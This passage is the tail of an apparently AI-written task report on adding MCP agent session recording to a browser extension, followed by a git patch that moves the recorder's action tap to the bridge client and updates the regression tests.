sibling try/catch blocks AFTER the metrics recorder blocks in BOTH finally blocks of `dispatchMcpToolRoute` (`dispatcher_route: 'tool'`) and `dispatchMcpMessageRoute` (`dispatcher_route: 'message'`, INSIDE the `!_mcpMetricsSuppressInner` gate so alias-routed tools record once). Both use `client: resolveMcpClientLabel(payload)`, not awaited, no return-in-finally. Test 9's fsbMcpMetricsRecorder regex spans verified undisturbed (still exactly 2). + +3. **SW load** -- one new line in background.js directly after the mcp-metrics-recorder load (comment lines deliberately token-free for the tally pin). + +4. **automation-logger.js** -- `mode` (default 'autopilot') + `mcpClient` (default null) carried through the NEW session literal, the APPEND field carries, and the indexEntry; pre-existing index entries default to Autopilot in the UI. + +5. **Badges** -- sidepanel `loadHistoryList` and options `loadSessionList` meta rows render `MCP ยท ` (`history-source-badge mcp` / `session-source-badge mcp`) for mcp-agent sessions, `Autopilot` otherwise; escapeHtml'd, no new CSS files, no filter control (locked scope: badge only -- optional history filter skipped). + +6. **tests/mcp-session-recorder.test.js** (new, 623 lines, 94 assertions) -- the 10 locked cases plus eviction restore (expired closes + live rehydrates + buffer key removal) and malformed/wrong-version envelope collapse; registered in the package.json chain right after mcp-dispatcher-client-label. + +## Verification Results + +- `node tests/mcp-session-recorder.test.js`: **94 passed, 0 failed** (all 10 locked cases + eviction restore + source-pin guards). +- `node tests/mcp-dispatcher-client-label.test.js`: 51 passed, 0 failed (Test 9 metrics pins undisturbed). +- `node tests/lattice-provider-bridge-smoke.test.js`: 110 passed, 0 failed (tally bumped 309 -> 310 mentions, 305 -> 306 call sites, provenance comments added per convention). +- Full `npm test`: **exit 0**. Aggregate across the two dominant reporter formats: 2,817 passed / 0 failed ("Results:" format, 49 suites) + 1,081 passed / 0 failed ("PASS/FAIL" format, 28 suites) = 3,898 assertions, 0 failures; remaining suites use bespoke reporters and all passed (chain is `&&`-fatal). +- `git status mcp/`: clean -- zero changes under mcp/, no tool-schema changes. +- `git log -1 --stat`: exactly the seven staged files (1,387 insertions, 2 deletions -- the two replaced lattice pin lines); no file deletions. +- `git diff extension/ui/options.js`: 5 hunks -- 4 pre-existing (fsbSelect work, lines ~1067-1167) + exactly 1 new (the badge at ~2792). + +## Commit + +- **721e2826** `feat(quick-260707-7id): record MCP agent sessions into logs/history/replay/memory` -- extension/utils/mcp-session-recorder.js, extension/ws/mcp-tool-dispatcher.js, extension/background.js, extension/utils/automation-logger.js, extension/ui/sidepanel.js, tests/lattice-provider-bridge-smoke.test.js, tests/mcp-session-recorder.test.js. + +## FLAGGED: Files Left Uncommitted (user action needed) + +Per the plan's commit protocol, these two files carry BOTH pre-existing local edits AND this task's surgical additions -- commit them together with your pending work: + +1. **extension/ui/options.js** -- pre-existing fsbSelect edits (~lines 1067-1167) + this task's badge insertion in `loadSessionList` (~line 2792, the `session-source-badge` span). +2. **package.json** -- pre-existing test-chain insertion (`settings-card-select-clipping` + `control-panel-scroll-containment`, which reference your untracked local test files) + this task's insertion of `node tests/mcp-session-recorder.test.js` after `node tests/mcp-dispatcher-client-label.test.js`. + +Also untouched and still local: extension/ui/options.css (pre-existing), tests/control-panel-scroll-containment.test.js + tests/settings-card-select-clipping.test.js (pre-existing untracked). + +## Deviations from Plan + +### Auto-fixed Issues + +**1. [Rule 3 - Blocking environment] Fresh worktree had no installed dependencies** +- **Found during:** Task 1 verification (lattice test: `Cannot find package 'lattice'`), then Task 3 full-suite run (`better-sqlite3`, `ng` missing). +- **Fix:** `npm ci` (lockfile-exact restore, no new packages, no lockfile changes) in four locations: repo root, mcp/, showcase/server/, showcase/angular/. +- **Files modified:** none tracked (node_modules only; package-lock.json byte-identical). + +**2. [Rule 2 - Missing critical functionality] Companion call-site pin also updated** +- **Found during:** Task 1 D. The plan cited only the `grep -c "importScripts"` mention tally, but lattice-provider-bridge-smoke.test.js ALSO pins the `importScripts(` call-site count (305), which my one new line increments. +- **Fix:** updated both assertions (310 mentions / 306 call sites) with provenance comments per the test's documented convention. +- **Commit:** 721e2826. + +**3. [Rule 2 - Missing critical functionality] Post-eviction saveSession gate re-seed** +- **Found during:** Task 1 design of the restore path. After SW eviction the automationLogger in-memory log buffer is empty, so a restored-then-expired session would hit the saveSession empty-logs gate (automation-logger.js:709) and be silently dropped. +- **Fix:** closeSession re-seeds one session-bound log entry via `logSessionStart` when `getSessionLogs(sessionId)` is empty, before calling saveSession. Proven by Test 11 ("empty post-eviction log buffer re-seeded"). +- **Commit:** 721e2826. + +### Notes (not deviations) + +- Plan's line citations for the lattice tally (568-584, older baselines) had drifted in this workspace (assertions now at ~618/652 with baselines 309/305 after parallel head work); handled per the test's own convention. +- Test 10's substring-order assertion initially matched the `typeof` guard instead of the call site during authoring; pinned to the call form (`recordDispatch({`) before the suite was first registered -- never committed broken. +- Orchestrator's generic per-task-commit rule was superseded by the plan's explicit Task 3 commit protocol (single commit, exactly seven files) which plan verification item 5 depends on. + +## Optional AI Title Synthesis: SKIPPED + +Per the plan's locked default: no single-call global provider helper exists in the SW, so `task` is seeded from the first `visualReason` (first-visualReason seeding). No provider plumbing was built. + +## Pre-existing Test Failures + +None. After dependency restore, the full suite is green (exit 0). No unrelated failures were encountered or left behind. + +## Known Stubs + +None -- all recorded fields are wired to real data sources; badges render live index fields. + +## Self-Check: PASSED + +- extension/utils/mcp-session-recorder.js: FOUND (committed) +- tests/mcp-session-recorder.test.js: FOUND (committed) +- Commit 721e2826: FOUND on refinements +- npm test exit 0: CONFIRMED From 054a04fb402d045be0edaf23119654de534e7c5c Mon Sep 17 00:00:00 2001 From: Lakshman Date: Tue, 7 Jul 2026 12:30:03 -0500 Subject: [PATCH 003/581] fix(mcp-session-recorder): record all action tools at the bridge with resolved tab ids and replay-compatible names Review findings on 721e2826 plus the root defect beneath them: - content/cdp-routed action tools (click, type, pressEnter, ...) never reached the dispatcher choke points, so the recorder only ever saw background-routed actions. New MCPBridgeClient._recordMcpSessionAction tap fires from all three _handleExecuteAction branches (main path, open_tab/switch_tab bootstrap, navigate NO_OWNED_TAB recovery) with the ownership-resolved tabId; the dispatcher tool-route session hook is removed (its action traffic all originates in _handleExecuteAction -- keeping it would double-count background actions). The message-route join hook and both metrics hooks are untouched. - finding #1: session keying read only params.tabId while wire params carry snake_case tab_id -- multi-tab agents collapsed onto agentId::none. Keying now prefers the explicit resolved tabId, then params.tab_id, then params.tabId (resolveAgentTabOrError order). - finding #2: stored tool names must satisfy the replay whitelist. Wire verbs are already replay-compatible for content tools; the two real mismatches map at append time (go_back->goBack, go_forward->goForward); non-replayable verbs store verbatim. - resolveMcpClientLabel exported to globalThis so the bridge tap resolves the canonical client label. - test fixtures now simulate the production shapes (bridge recordAction with wire verbs + resolved tabId); pins updated (1 dispatcher session site inside the suppression gate, 1 bridge recordAction site, 3 tap invocations, metrics still exactly 2, resolver within 4500 chars of _handleExecuteAction); new cases for tab_id keying/no-collapse, bootstrap birth, name mapping, and failure/sidecar-less semantics (125 assertions). --- extension/utils/mcp-session-recorder.js | 85 ++++- extension/ws/mcp-bridge-client.js | 38 +++ extension/ws/mcp-tool-dispatcher.js | 41 +-- tests/mcp-session-recorder.test.js | 398 ++++++++++++++++++------ 4 files changed, 438 insertions(+), 124 deletions(-) diff --git a/extension/utils/mcp-session-recorder.js b/extension/utils/mcp-session-recorder.js index 945e55e56..e9ffeddb2 100644 --- a/extension/utils/mcp-session-recorder.js +++ b/extension/utils/mcp-session-recorder.js @@ -2,10 +2,17 @@ * MCP Session Recorder -- assembles MCP-agent browsing sessions and lands * them in the SAME logs/history/replay/memory pipeline autopilot runs use. * - * Quick task 260707-7id. Sibling of the Phase 271 metrics recorder at the two - * dispatcher choke points in extension/ws/mcp-tool-dispatcher.js - * (dispatchMcpToolRoute + dispatchMcpMessageRoute finally blocks). Each - * recordDispatch() call folds one resolved MCP dispatch into an in-memory + * Quick task 260707-7id (+ review-fix follow-up). Two hook points feed it: + * - Bridge-level ACTION tap: MCPBridgeClient._recordMcpSessionAction + * (extension/ws/mcp-bridge-client.js, called from _handleExecuteAction) + * invokes recordAction() for EVERY action tool -- content, cdp, and + * background routes alike -- carrying the ownership-resolved tabId. The + * dispatcher tool route only ever saw background-routed actions, so the + * tap lives where all three routes converge. + * - Dispatcher message-route hook: dispatchMcpMessageRoute's finally block + * in extension/ws/mcp-tool-dispatcher.js calls recordDispatch() so + * read-only/message traffic JOINs open sessions by agentId. + * Each recorded call folds one resolved MCP dispatch into an in-memory * open-session record keyed agentId+tabId; the visualSession sidecar drives * the lifecycle (birth on first action tool, close on isFinal or 60s idle). * @@ -79,6 +86,20 @@ // params-level token if one ever appears. var SENSITIVE_KEY_PATTERN = /pass(word)?|secret|token|credential|api[-_]?key|authorization/i; + // Wire-verb -> legacy replay-name map. The replay engine's whitelist + // (background.js loadReplayableSession replayableTools) speaks the content + // script's camelCase verb namespace, and almost every action tool's wire + // verb already matches it (type_text ships as 'type', press_enter as + // 'pressEnter', ...). The only replay-worthy mismatches are the + // background-routed history tools, whose wire verb is their snake_case + // tool name. Non-replayable verbs (cdp*, dragdrop, siteSearch, tab ops) + // store verbatim -- the replay filter drops them naturally, exactly as it + // does for autopilot sessions. + var MCP_REPLAY_TOOL_NAME_MAP = Object.freeze({ + go_back: 'goBack', + go_forward: 'goForward' + }); + // ---- In-memory state ---------------------------------------------------- // key = agentId + '::' + tabKey; value = open-session record. @@ -300,6 +321,20 @@ return numericTabId === null ? 'none' : String(numericTabId); } + // Tab identity for session keying. Precedence mirrors the boundary + // conventions end to end: an explicitly resolved tabId from the bridge + // action tap wins; otherwise wire params carry snake_case tab_id (the MCP + // schema field, preserved by PARAM_TRANSFORMS -- same order as + // resolveAgentTabOrError in utils/agent-tab-resolver.js); camelCase tabId + // last for back-compat with dispatcher-injected routeParams. + function _resolveNumericTabId(entry, params) { + var explicit = _numericTabId(entry.tabId); + if (explicit !== null) return explicit; + var snake = _numericTabId(params.tab_id); + if (snake !== null) return snake; + return _numericTabId(params.tabId); + } + // JOIN attribution fallback: the open session with matching agentId that // has the most recent lastActivityAt, any tabId -- mirrors // resolveMcpClientLabel's per-agent semantics. @@ -461,8 +496,10 @@ * never returns a meaningful value, never alters the dispatcher's resolved * value or thrown error (threat T-q7id-02). * - * Entry shape mirrors the metrics recorder hook exactly: - * { client, tool, requestPayload, response, success, dispatcher_route } + * Entry shape mirrors the metrics recorder hook exactly, plus an optional + * resolved tab identity supplied by the bridge action tap: + * { client, tool, requestPayload, response, success, dispatcher_route, + * tabId? } * * @param {object} entry - The dispatch context from the dispatcher finally. */ @@ -483,7 +520,7 @@ _sweepExpired(now); var params = (payload.params && typeof payload.params === 'object') ? payload.params : {}; - var numericTabId = _numericTabId(params.tabId); + var numericTabId = _resolveNumericTabId(entry, params); var sidecar = (payload.visualSession && typeof payload.visualSession === 'object') ? payload.visualSession : null; @@ -538,9 +575,12 @@ } // Append the action in replay shape {tool, params, result, timestamp}. + // storedTool applies the replay-name map; the guards below (navigate + // lastUrl) keep matching on the raw wire verb. + var storedTool = MCP_REPLAY_TOOL_NAME_MAP[entry.tool] || entry.tool; var redactedParams = redactParams(params); session.actionHistory.push({ - tool: entry.tool, + tool: storedTool, params: redactedParams, result: entry.response, timestamp: now @@ -562,7 +602,7 @@ var logger = _getAutomationLogger(); if (logger && typeof logger.logAction === 'function') { try { - logger.logAction(session.sessionId, { tool: entry.tool, params: redactedParams }, entry.response); + logger.logAction(session.sessionId, { tool: storedTool, params: redactedParams }, entry.response); } catch (_e) { /* best-effort */ } } @@ -592,6 +632,32 @@ } } + /** + * Bridge-level action entry point (MCPBridgeClient._recordMcpSessionAction). + * Thin adapter onto recordDispatch: same fire-and-forget contract, plus the + * ownership-resolved tabId so session keying never depends on re-parsing + * caller params. + * + * @param {object} input - { client, tool, params, payload, response, + * success, tabId } + */ + function recordAction(input) { + try { + if (!input || typeof input !== 'object') return; + recordDispatch({ + client: input.client, + tool: input.tool, + requestPayload: (input.payload && typeof input.payload === 'object') + ? input.payload + : { tool: input.tool, params: input.params || {}, agentId: input.agentId }, + response: input.response, + success: input.success !== false, + dispatcher_route: 'bridge-action', + tabId: input.tabId + }); + } catch (_e) { /* fire-and-forget */ } + } + // ---- Eviction restore ----------------------------------------------------- /** @@ -665,6 +731,7 @@ var _api = { recordDispatch: recordDispatch, + recordAction: recordAction, redactParams: redactParams, FSB_MCP_SESSION_BUFFER_KEY: FSB_MCP_SESSION_BUFFER_KEY, MCP_SESSION_IDLE_DEATH_MS: MCP_SESSION_IDLE_DEATH_MS, diff --git a/extension/ws/mcp-bridge-client.js b/extension/ws/mcp-bridge-client.js index f71d491d2..c4046afbf 100644 --- a/extension/ws/mcp-bridge-client.js +++ b/extension/ws/mcp-bridge-client.js @@ -701,6 +701,37 @@ class MCPBridgeClient { } } + /** + * Session-recorder tap at the bridge level so content- and cdp-routed + * action tools are recorded too -- the dispatcher choke points only ever + * see background-routed actions (executeFn's default branch sends straight + * to the content script). Fire-and-forget with the metrics-recorder + * discipline: NOT awaited, whole body guarded, never alters the action + * result. Placed ABOVE _handleExecuteAction so the 4500-char source gates + * in tests/action-tool-agent-scoped.test.js and + * tests/ownership-error-codes.test.js keep resolveAgentTabOrError in view. + */ + _recordMcpSessionAction(payload, response, resolvedTabId) { + try { + if (typeof globalThis === 'undefined' || + !globalThis.fsbMcpSessionRecorder || + typeof globalThis.fsbMcpSessionRecorder.recordAction !== 'function') { + return; + } + globalThis.fsbMcpSessionRecorder.recordAction({ + client: (typeof globalThis.resolveMcpClientLabel === 'function') + ? globalThis.resolveMcpClientLabel(payload) + : null, + tool: payload && payload.tool, + params: (payload && payload.params) || {}, + payload: payload, + response: response, + success: !(response && typeof response === 'object' && response.success === false), + tabId: Number.isFinite(resolvedTabId) ? resolvedTabId : null + }); + } catch (_e) { /* never let session recording break the action */ } + } + async _handleExecuteAction(payload) { // Phase 246 D-13: resolver replaces _getActiveTab; legacy:* surfaces fall // through to active-tab via the resolver's first-line branch. @@ -757,6 +788,7 @@ class MCPBridgeClient { if (dispatched && dispatched.success === true) { const resolvedTabId = Number.isFinite(dispatched && dispatched.tabId) ? dispatched.tabId : null; if (resolvedTabId !== null) { + this._recordMcpSessionAction(payload, dispatched, resolvedTabId); await this._recordVisualSessionTickIfPresent(resolvedTabId, agentId, payload); // Phase 257 -- explicit completion. When the caller marks this // bootstrap call as the final action of the task, clear the visual @@ -782,6 +814,7 @@ class MCPBridgeClient { if (dispatched && dispatched.success === true) { const resolvedTabId = Number.isFinite(dispatched && dispatched.tabId) ? dispatched.tabId : null; if (resolvedTabId !== null) { + this._recordMcpSessionAction(payload, dispatched, resolvedTabId); await this._recordVisualSessionTickIfPresent(resolvedTabId, agentId, payload); await this._clearVisualSessionIfFinal(resolvedTabId, agentId, payload); } @@ -845,6 +878,11 @@ class MCPBridgeClient { actionResult = await executeFn(); } + // Session-recorder action tap: all three routes (content, cdp, + // background) converge here with the resolver-approved tab identity. + // Resolver-failure returns above record nothing (nothing executed). + this._recordMcpSessionAction(payload, actionResult, tabId); + // Phase 257 -- explicit completion. When the caller marks this action as // the final action of the task, clear the visual session immediately // rather than waiting for the 60s sliding-window timer. Fires AFTER diff --git a/extension/ws/mcp-tool-dispatcher.js b/extension/ws/mcp-tool-dispatcher.js index fe4bcf0b5..59dafb7dd 100644 --- a/extension/ws/mcp-tool-dispatcher.js +++ b/extension/ws/mcp-tool-dispatcher.js @@ -576,27 +576,11 @@ async function dispatchMcpToolRoute({ tool, params = {}, client = null, tab = nu }); } } catch (_e) { /* defence in depth -- never let metrics break dispatch */ } - // Quick 260707-7id -- MCP session recorder sibling hook. SEPARATE - // try/catch statement placed AFTER the metrics block so the Test 9 - // regex spans over fsbMcpMetricsRecorder stay undisturbed. Same - // fire-and-forget contract: NOT awaited, never alters the dispatcher's - // resolved value or thrown error. - try { - if ( - typeof globalThis !== 'undefined' && - globalThis.fsbMcpSessionRecorder && - typeof globalThis.fsbMcpSessionRecorder.recordDispatch === 'function' - ) { - globalThis.fsbMcpSessionRecorder.recordDispatch({ - client: resolveMcpClientLabel(payload), - tool, - requestPayload: payload, - response, - success, - dispatcher_route: 'tool' - }); - } - } catch (_e) { /* defence in depth -- never let session recording break dispatch */ } + // NOTE (260707-7id review fix): the session-recorder sibling hook that + // lived here moved to MCPBridgeClient._recordMcpSessionAction -- this + // route only ever carries background-routed actions (all originating in + // _handleExecuteAction, which now records them with the resolved tabId), + // so recording here again would double-count every background action. } } @@ -681,11 +665,12 @@ async function dispatchMcpMessageRoute({ type, payload = {}, client = null, mcpM }); } } catch (_e) { /* defence in depth -- never let metrics break dispatch */ } - // Quick 260707-7id -- MCP session recorder sibling hook (message - // surface). INSIDE the !_mcpMetricsSuppressInner gate: alias-routed - // tools (run_task, read_page, ...) are recorded once by the outer - // dispatchMcpToolRoute, so the suppression flag MUST gate the session - // recorder too or aliased dispatches would be recorded twice. + // Quick 260707-7id -- MCP session recorder hook (message surface): + // read-only/message traffic JOINs open sessions by agentId. The + // action-tool sibling lives in MCPBridgeClient._recordMcpSessionAction + // (bridge level, all routes). INSIDE the !_mcpMetricsSuppressInner + // gate so alias-routed dispatches (run_task, read_page, ...) cannot be + // recorded twice should an action alias ever record upstream. // Separate sibling try/catch AFTER the metrics block (Test 9 regex // spans undisturbed); fire-and-forget, NOT awaited, no return. try { @@ -3310,6 +3295,10 @@ if (typeof globalThis !== 'undefined') { // client can clear it on every fresh _ws.onopen (different MCP client // attaching on the same port must not inherit the prior client's label). globalThis.clearLastKnownMcpClientLabel = clearLastKnownMcpClientLabel; + // 260707-7id review fix: the bridge-level session tap + // (MCPBridgeClient._recordMcpSessionAction) resolves the canonical MCP + // client label the same way the dispatcher hooks do. + globalThis.resolveMcpClientLabel = resolveMcpClientLabel; } if (typeof module !== 'undefined' && module.exports) { diff --git a/tests/mcp-session-recorder.test.js b/tests/mcp-session-recorder.test.js index c65cf675c..2a32aa067 100644 --- a/tests/mcp-session-recorder.test.js +++ b/tests/mcp-session-recorder.test.js @@ -1,14 +1,26 @@ /** * Regression suite for extension/utils/mcp-session-recorder.js * (quick task 260707-7id -- record MCP agent sessions into the SAME - * logs/history/replay/memory pipeline autopilot runs use). + * logs/history/replay/memory pipeline autopilot runs use -- plus the + * review-fix follow-up that moved the action tap to the bridge). * - * Covers the 10 locked cases: - * 1. Birth on first sidecar action (keyed agentId+tabId; logSessionStart - * seeds the saveSession empty-logs gate; task = first visualReason; - * sessionId matches the autopilot /^session_\d+$/ format). + * Production entry points simulated by the fixtures: + * - recordAction(): the bridge-level tap + * (MCPBridgeClient._recordMcpSessionAction in mcp-bridge-client.js, + * called from _handleExecuteAction) -- carries the FULL bridge payload + * plus the ownership-resolved tabId. Tool names are WIRE VERBS + * (fsbVerb = _contentVerb || _cdpVerb || name): type_text ships as + * 'type', press_enter as 'pressEnter', go_back as 'go_back', ... + * - recordDispatch(): the dispatcher message-route hook + * (dispatchMcpMessageRoute finally block) -- read-only/message traffic + * that JOINs open sessions by agentId. + * + * Covers the locked cases: + * 1. Birth on first sidecar action (keyed agentId+resolved tabId; + * logSessionStart seeds the saveSession empty-logs gate; task = first + * visualReason; sessionId matches the autopilot /^session_\d+$/ format). * 2. actionHistory accumulation in replay shape {tool, params, result, - * timestamp}, in dispatch order. + * timestamp}, in dispatch order, wire verbs stored replay-compatibly. * 3. Read-only JOIN by agentId (sidecar-less dispatch appends to the open * session; unknown agentId creates nothing). * 4. isFinal close -> saveSession exactly once with mode 'mcp-agent', @@ -24,17 +36,36 @@ * and nested apiKey values replaced; lazy globalThis.redactForLog * branch used when the helper is present. * 9. Recorder never throws (throwing storage + throwing logger shims); - * dispatcher hook sites each wrapped in their own try/catch. - * 10. Source-pin guards: exactly 2 fsbMcpSessionRecorder.recordDispatch - * sites in mcp-tool-dispatcher.js, each using - * resolveMcpClientLabel(payload); the message-route site gated by - * !_mcpMetricsSuppressInner; the original fsbMcpMetricsRecorder - * pattern still matches exactly 2 sites; background.js loads the - * recorder on exactly one line. - * - * Plus the eviction-restore machinery: a v:1 fsbMcpSessionBuffer envelope - * with one expired + one live session restores correctly (_restoreFromBuffer); - * a malformed/wrong-version envelope is treated as empty. + * each hook site wrapped in its own try/catch -- dispatcher guard + * string x1 (message route), bridge guard string x1 (action tap). + * 10. Source-pin guards: exactly 1 fsbMcpSessionRecorder.recordDispatch + * site in mcp-tool-dispatcher.js (message route, inside the + * !_mcpMetricsSuppressInner gate, after dispatchMcpMessageRoute -- the + * tool route stays session-clean or background actions double-count); + * exactly 1 fsbMcpSessionRecorder.recordAction site and exactly 3 + * this._recordMcpSessionAction( invocations in mcp-bridge-client.js; + * the fsbMcpMetricsRecorder pattern still matches exactly 2 sites; + * background.js loads the recorder on exactly one line; + * resolveAgentTabOrError stays within 4500 chars of + * _handleExecuteAction (action-tool-agent-scoped / ownership-error- + * codes source gates). + * 11. Eviction restore: a v:1 fsbMcpSessionBuffer envelope with one + * expired + one live session restores correctly (_restoreFromBuffer). + * 12. Malformed / wrong-version envelope treated as canonical empty. + * 13. Tab identity (review finding #1): params.tab_id (wire snake_case) + * keys sessions -- no agentId::none collapse; explicit resolved tabId + * wins over params; camelCase back-compat; same agent on two tabs + * yields two distinct sessions. + * 14. Bootstrap birth (open_tab/switch_tab): empty params + post-dispatch + * resolved tabId key the session; non-replayable wire verb stored + * verbatim. + * 15. Replay-name map (review finding #2): go_back/go_forward stored as + * goBack/goForward (the whitelist names in background.js + * loadReplayableSession); cdp verbs stored verbatim; whitelist literal + * pinned to contain the mapped names. + * 16. Failure semantics: failed actions still append (result.success === + * false -- the replay filter excludes them downstream); sidecar-less + * recordAction calls JOIN, never birth. * * Run: node tests/mcp-session-recorder.test.js * @@ -49,6 +80,7 @@ const fs = require('fs'); const RECORDER_PATH = path.resolve(__dirname, '..', 'extension', 'utils', 'mcp-session-recorder.js'); const DISPATCHER_PATH = path.resolve(__dirname, '..', 'extension', 'ws', 'mcp-tool-dispatcher.js'); +const BRIDGE_CLIENT_PATH = path.resolve(__dirname, '..', 'extension', 'ws', 'mcp-bridge-client.js'); const BACKGROUND_PATH = path.resolve(__dirname, '..', 'extension', 'background.js'); const recorder = require(RECORDER_PATH); @@ -197,21 +229,32 @@ function freshSection(startMs) { return { storage, time, logger, memories }; } -// Dispatch-entry builders (exact shape the dispatcher finally blocks emit). -function actionDispatch(o) { - const visualSession = { visualReason: o.visualReason, client: o.client }; - if (o.isFinal !== undefined) visualSession.isFinal = o.isFinal; - if (o.is_final !== undefined) visualSession.is_final = o.is_final; +// Bridge-tap entry builder -- the exact shape +// MCPBridgeClient._recordMcpSessionAction emits: the FULL bridge payload +// (wire verb, wire params with snake_case tab_id, agentId, visualSession +// sidecar) plus the ownership-resolved tabId. Tool names here are WIRE +// VERBS: 'type' (type_text), 'pressEnter' (press_enter), 'go_back', ... +function bridgeAction(o) { + const payload = { tool: o.tool, params: o.params || {}, agentId: o.agentId }; + if (!o.noSidecar) { + const visualSession = { visualReason: o.visualReason, client: o.client }; + if (o.isFinal !== undefined) visualSession.isFinal = o.isFinal; + if (o.is_final !== undefined) visualSession.is_final = o.is_final; + payload.visualSession = visualSession; + } return { - client: o.client || 'unknown', + client: o.client || null, tool: o.tool, - requestPayload: { tool: o.tool, params: o.params || {}, agentId: o.agentId, visualSession }, + params: o.params || {}, + payload, response: o.response === undefined ? { success: true } : o.response, success: o.success === undefined ? true : o.success, - dispatcher_route: 'tool' + tabId: o.tabId === undefined ? null : o.tabId }; } +// Dispatcher message-route entry builder (exact shape the +// dispatchMcpMessageRoute finally block emits). function readDispatch(o) { return { client: o.client || 'unknown', @@ -226,17 +269,17 @@ function readDispatch(o) { (async function main() { // -- Test 1: birth on first sidecar action -------------------------------- - console.log('--- Test 1: birth on first sidecar action ---'); + console.log('--- Test 1: birth on first sidecar action (bridge tap) ---'); { const { storage, logger } = freshSection(); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-1', tool: 'click', params: { tabId: 42, selector: '#buy' }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-1', tool: 'click', params: { tab_id: 42, selector: '#buy' }, tabId: 42, visualReason: 'Book a flight to Berlin', client: 'Claude' })); const open = recorder._peekOpenSessions(); const keys = Object.keys(open); passAssertEqual(keys.length, 1, 'exactly one open session after birth'); - passAssertEqual(keys[0], 'agent-1::42', 'session keyed agentId::tabId'); + passAssertEqual(keys[0], 'agent-1::42', 'session keyed agentId::resolvedTabId'); const rec = open['agent-1::42']; passAssert(/^session_\d+$/.test(rec.sessionId), 'sessionId matches autopilot format session_ (got ' + rec.sessionId + ')'); passAssertEqual(rec.task, 'Book a flight to Berlin', 'task seeded from first visualReason'); @@ -255,26 +298,26 @@ function readDispatch(o) { } // -- Test 2: actionHistory accumulation ------------------------------------ - console.log('\n--- Test 2: actionHistory accumulation in replay shape ---'); + console.log('\n--- Test 2: actionHistory accumulation in replay shape (wire verbs) ---'); { const { logger } = freshSection(); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-1', tool: 'click', params: { tabId: 42, selector: '#compose' }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-1', tool: 'click', params: { tab_id: 42, selector: '#compose' }, tabId: 42, visualReason: 'Compose an email', client: 'Claude' })); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-1', tool: 'type_text', params: { tabId: 42, selector: '#to', text: 'a@b.c' }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-1', tool: 'type', params: { tab_id: 42, selector: '#to', text: 'a@b.c' }, tabId: 42, visualReason: 'Compose an email', client: 'Claude' })); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-1', tool: 'press_enter', params: { tabId: 42 }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-1', tool: 'pressEnter', params: { tab_id: 42 }, tabId: 42, visualReason: 'Compose an email', client: 'Claude' })); const rec = recorder._peekOpenSessions()['agent-1::42']; passAssertEqual(rec.actionHistory.length, 3, 'three dispatches -> three actionHistory entries'); - passAssertEqual(rec.actionHistory[0].tool, 'click', 'entry 1 tool in order'); - passAssertEqual(rec.actionHistory[1].tool, 'type_text', 'entry 2 tool in order'); - passAssertEqual(rec.actionHistory[2].tool, 'press_enter', 'entry 3 tool in order'); + passAssertEqual(rec.actionHistory[0].tool, 'click', 'entry 1 tool in order (replay whitelist name)'); + passAssertEqual(rec.actionHistory[1].tool, 'type', 'entry 2 tool in order (type_text wire verb = replay name)'); + passAssertEqual(rec.actionHistory[2].tool, 'pressEnter', 'entry 3 tool in order (press_enter wire verb = replay name)'); const shapesOk = rec.actionHistory.every(function (a) { return a && typeof a.tool === 'string' && a.params && typeof a.params === 'object' && 'result' in a && typeof a.timestamp === 'number'; @@ -288,8 +331,8 @@ function readDispatch(o) { console.log('\n--- Test 3: read-only JOIN by agentId ---'); { const { logger } = freshSection(); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-1', tool: 'navigate', params: { tabId: 42, url: 'https://example.com/inbox' }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-1', tool: 'navigate', params: { tab_id: 42, url: 'https://example.com/inbox' }, tabId: 42, visualReason: 'Open the inbox', client: 'Claude' })); recorder.recordDispatch(readDispatch({ agentId: 'agent-1', tool: 'mcp:read-page' })); @@ -307,16 +350,16 @@ function readDispatch(o) { console.log('\n--- Test 4: isFinal close fires saveSession + extractAndStoreMemories ---'); { const { logger, memories } = freshSection(); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-1', tool: 'navigate', params: { tabId: 7, url: 'https://example.com/report' }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-1', tool: 'navigate', params: { tab_id: 7, url: 'https://example.com/report' }, tabId: 7, visualReason: 'Compose the weekly report', client: 'Claude' })); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-1', tool: 'type_text', params: { tabId: 7, selector: '#body', text: 'hello' }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-1', tool: 'type', params: { tab_id: 7, selector: '#body', text: 'hello' }, tabId: 7, visualReason: 'Compose the weekly report', client: 'Claude' })); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-1', tool: 'click', params: { tabId: 7, selector: '#send' }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-1', tool: 'click', params: { tab_id: 7, selector: '#send' }, tabId: 7, visualReason: 'Send the report', client: 'Claude', isFinal: true })); passAssertEqual(logger.calls.saveSession.length, 1, 'saveSession invoked exactly once on isFinal'); @@ -338,8 +381,8 @@ function readDispatch(o) { // Snake_case tolerance: is_final on the very first action closes a // 1-action session. - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-2', tool: 'click', params: { tabId: 9 }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-2', tool: 'click', params: { tab_id: 9 }, tabId: 9, visualReason: 'One-shot action', client: 'Codex', is_final: true })); passAssertEqual(logger.calls.saveSession.length, 2, 'snake_case is_final also closes (wire-spec tolerance)'); @@ -353,14 +396,14 @@ function readDispatch(o) { console.log('\n--- Test 5: 60s idle expiry (sliding window, fake clock) ---'); { const { time, logger } = freshSection(1750000000000); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-3', tool: 'click', params: { tabId: 5 }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-3', tool: 'click', params: { tab_id: 5 }, tabId: 5, visualReason: 'Sort the inbox', client: 'Claude' })); time.advance(30000); // t+30s: inside the window passAssertEqual(logger.calls.saveSession.length, 0, 'no close before the 60s deadline'); - recorder.recordDispatch(actionDispatch({ - agentId: 'agent-3', tool: 'click', params: { tabId: 5 }, + recorder.recordAction(bridgeAction({ + agentId: 'agent-3', tool: 'click', params: { tab_id: 5 }, tabId: 5, visualReason: 'Sort the inbox', client: 'Claude' })); // re-arms deadline to t+90s time.advance(45000); // 